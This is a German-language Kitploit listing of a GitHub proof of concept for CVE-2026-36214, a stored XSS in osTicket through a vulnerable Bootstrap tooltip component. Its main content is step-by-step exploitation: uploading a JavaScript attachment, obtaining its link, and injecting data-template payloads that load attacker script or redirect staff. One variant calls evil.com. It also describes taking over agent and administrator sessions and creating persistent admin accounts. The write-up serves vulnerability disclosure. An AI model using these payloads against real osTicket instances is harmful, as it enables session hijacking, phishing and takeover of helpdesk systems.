Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-36214 — Stored Cross-Site Scripting (XSS) in osTicket via verletzliche Bootstrap Tooltip Component | Kitploit
Tools/GitHubGitHub/weswrench/cve-2026-36214
Phishing-ToolsSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubweswrench/cve-2026-36214

CVE-2026-36214

Stored Cross-Site Scripting (XSS) in osTicket via verletzliche Bootstrap Tooltip Component

Repository anzeigen
1vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-36214 – Gespeichertes Cross-Site-Scripting (XSS) in osTicket über anfällige Bootstrap-Tooltip-Komponente

Beschreibung

Enhancesoft osTicket-Versionen von 1.10 bis 1.17.7 und von 1.18.0 bis 1.18.3 werden mit der bekannten anfälligen Bootstrap-Tooltip-3.3.4-Komponente (CVE-2019-8331) ausgeliefert, die eine gespeicherte Cross-Site-Scripting (XSS)-Sicherheitslücke einführt. In der Standardkonfiguration von osTicket können Ticket-Einreicher („Benutzer“) Tickets ohne vorherige Authentifizierung einreichen, und die Selbstregistrierung von Benutzern ist standardmäßig geöffnet. Ein entfernter Benutzer kann eine bösartige Ticket-Nachricht erstellen, die trotz Durchlaufens des htmlLawed-HTML-Bereinigungsmoduls zur Ausführung beliebigen JavaScript-Codes im Browser eines betrachtenden Agenten oder Administrators führt. Dieses Problem wird noch dadurch verschärft, dass vom Benutzer hochgeladene JavaScript-Dateien mit einem Content-Type vom Typ text/javascript ausgeliefert werden, der die Ausführung von JavaScript ermöglicht, sodass sie von Browsern als aktiver Inhalt interpretiert werden können. Während Inline-Payloads durch die Art und Weise eingeschränkt sind, wie Bootstrap Tooltip 3.3.4 den data-template-Wert in ein jQuery-Objekt parst und es über appendTo() oder insertAfter() in das DOM einfügt, umgeht die Ausführung von vom Angreifer kontrolliertem Code als externer Skripte diese Einschränkungen und ermöglicht eine stärkere Ausnutzung der Sicherheitslücke.

Betroffene Versionen

  • Getestet und als anfällig bestätigt:

    • osTicket 1.18.2
    • osTicket 1.18.3
  • Betroffene Versionen:

    • v1.10 – v1.17.8 (ausgenommen)
    • v1.18 – v1.18.4 (ausgenommen)

Diese Komponente ist seit dem 13. Mai 2015 im osTicket-Codebase vorhanden, wie zu sehen ist an:

  • Datei: scp/js/bootstrap-tooltip.js
  • Commit: e5a28410ae7c238932eef07c2b3568da015a792c

Dieser Commit ist osTicket-Release-Tags zugeordnet, die bis zur Version 1.10 zurückreichen, was darauf hindeutet, dass die anfällige Bootstrap-Tooltip-Komponente über einen weiten Bereich von osTicket-Releases über mehrere Hauptversionen hinweg enthalten war. Diese langfristige Einbindung legt stark nahe, dass viele über mehrere Jahre veröffentlichte osTicket-Versionen betroffen sind.


1. Überblick

osTicket ist ein weit verbreitetes Open-Source-Ticketing-System, das Endbenutzern das Einreichen umfangreicher HTML-Inhalte und Dateianhänge im Rahmen der Ticket-Erstellung und -Antworten ermöglicht.

osTicket definiert drei Hauptkategorien von Benutzern:

  • Administrator
    • Vollständiger administrativer Zugriff
    • Globale Konfiguration, Benutzer, Rollen, Plugins
  • Agent
    • Operativer Zugriff auf Tickets
    • Kann Tickets anzeigen, beantworten, übertragen, schließen
  • Benutzer (Kunde / Endbenutzer)
    • Kann nur auf das Kundenportal zugreifen
    • Kann eigene Tickets erstellen und anzeigen

Jegliche HTML-Inhalte, die von einem Benutzer eingereicht werden, können später im Browser eines Agenten oder Administrators dargestellt werden, wodurch clientseitige Sicherheitslücken besonders folgenreich sind.


2. Proof of Concept

Authentifizieren Sie sich zunächst mit Ihrem Endbenutzerkonto und rufen Sie die Ticket-Erstellungsseite auf.
Erstellen Sie dann eine JavaScript-Datei (z. B. test.js), die einen Payload enthält. Zum Beispiel:

root@kitploit:~
alert(123);

Hinweis: Standardmäßig erlaubt osTicket Ticket-Anhänge ohne Dateityp-Einschränkungen.

JS-Datei hochladen

Reichen Sie dann das Ticket ein, indem Sie auf „Ticket erstellen“ klicken, ohne „Problemdetails“ anzugeben.

Die Anwendung leitet uns zurück zum Ticket-Einreichungsformular mit der Fehlermeldung „Problemdetails ist ein Pflichtfeld“.
Diese Seite ermöglicht es uns, einen Download-Link für unsere JavaScript-Datei (test.js) abzurufen, ohne tatsächlich ein Ticket einzureichen.

Direkten Link unserer hochgeladenen JS-Datei abrufen

Content-Type unserer hochgeladenen JS-Datei

Sobald Sie diesen Link erhalten haben, kehren Sie zum Ticket-Einreichungsformular zurück.
Klicken Sie auf den HTML-Editor und fügen Sie diesen Payload ein. Ersetzen Sie dabei das src-Attribut des script-Tags durch den zuvor erhaltenen Link.

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HIER]'>"></div>
<input>

Nachfolgend ein Beispiel für einen vollständigen Payload, bei dem das Muster [LINK_HIER] durch den zuvor erhaltenen Link ersetzt wurde:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>

Reichen Sie dann das Ticket ein.

Bösartigen Payload einreichen

Wenn ein Administrator oder Agent unser bösartiges Ticket anzeigt, wird der Payload ausgelöst.

Payload ausgelöst

Ergebnis:
Wenn ein Administrator/Agent das bösartige Ticket öffnet, wird der JavaScript-Payload geladen und im Kontext der Administrator-/Agent-Sitzung ausgeführt.

Dies führt zu einem gespeicherten XSS, das eine vollständige Übernahme der Sitzung ermöglicht (z. B. über ezXSS, CSRF zur Durchführung von Administrator-/Agent-Aktionen).


3. Auswirkungen

Kompromittierung eines Agenten

Wenn das bösartige Ticket von einem Agenten angezeigt wird, wird das gespeicherte XSS im Kontext der authentifizierten Sitzung des Agenten ausgeführt.

Dies ermöglicht es einem Angreifer, die Agenten-Sitzung effektiv zu übernehmen, ohne das Sitzungs-Cookie extrahieren zu müssen (z. B. selbst in Szenarien, in denen die Cookie-Exfiltration nicht praktikabel ist und eine Blind-XSS-Plattform wie ezXSS verwendet wird). Sobald das XSS ausgeführt wird, kann der Angreifer jede Aktion durchführen, die der kompromittierte Agent ausführen darf, zum Beispiel:

  • Tickets einsehen, die für diesen Agenten zugänglich sind (oft ein großer Teil des Helpdesks)
  • Ticket-Anhänge herunterladen und prüfen
  • Auf Tickets antworten und mit Benutzern interagieren
  • Tickets übertragen, schließen oder anderweitig den Status aktualisieren
  • Interne Notizen hinzufügen (falls erlaubt)

Dies führt zu einer vollständigen Kompromittierung der operativen Fähigkeiten des Agenten und der Vertraulichkeit/Integrität des Ticketing-Workflows.

Kompromittierung eines Administrators

Wenn das bösartige Ticket von einem Administrator angezeigt wird, eskaliert die Auswirkung zu einer vollständigen Kompromittierung der Anwendung. Der Angreifer kann:

  • Die Administrator-Sitzung übernehmen
  • Die globale Konfiguration (Einstellungen, Berechtigungen, ...) ändern
  • Einen Denial of Service auslösen, indem kritische Konfigurationswerte geändert werden
  • Administrative „Seiten“/Vorlagen ändern, was zu globaler Defacement und Phishing auf der Anwendungs-UI führt
  • Neue Agent- und/oder Administrator-Konten erstellen, um Persistenz zu etablieren

Hinweis zu eingeschränkten Datei-Uploads und Content Security Policy

Obwohl die Standardkonfiguration von osTicket das Hochladen von JavaScript-Dateien erlaubt, kann osTicket im Admin-Panel so konfiguriert werden, dass ein Endbenutzer keine JavaScript-Dateien hochladen darf.

Darüber hinaus erzwingt das von Agenten und Administratoren verwendete Mitarbeiter-Kontrollzentrum eine Content Security Policy, die die Ausführung von JavaScript von Drittanbieter-Domains verhindert.
Betrachten wir als Beispiel den folgenden Payload:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>

Der folgende Screenshot zeigt, dass das Laden eines Skripts von https://evil.com durch die im Mitarbeiter-Kontrollzentrum erzwungene Content Security Policy blockiert wurde.

Payload durch CSP blockiert

Allerdings erlaubt die in der Anwendung implementierte Content Security Policy Inline-JavaScript.

CSP im Agenten-/Admin-Panel

Falls das Hochladen von JavaScript-Dateien blockiert ist, ist es einem Angreifer dennoch möglich, bösartige Aktionen durchzuführen. Betrachten wir den folgenden Payload:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>

Der Base64-Payload dekodiert zu:

root@kitploit:~
<script>top.location = "https://example.com";</script>

Dieser Payload ermöglicht es einem Angreifer, einen Agenten oder Administrator, der das bösartige Ticket ansieht, auf eine beliebige Website umzuleiten, beispielsweise eine Phishing-Seite.

Hier ist das Ergebnis nach dem Anzeigen eines Tickets, das den obigen Payload enthält. Weiterleitung zu einer beliebigen Website

Tool herunterladen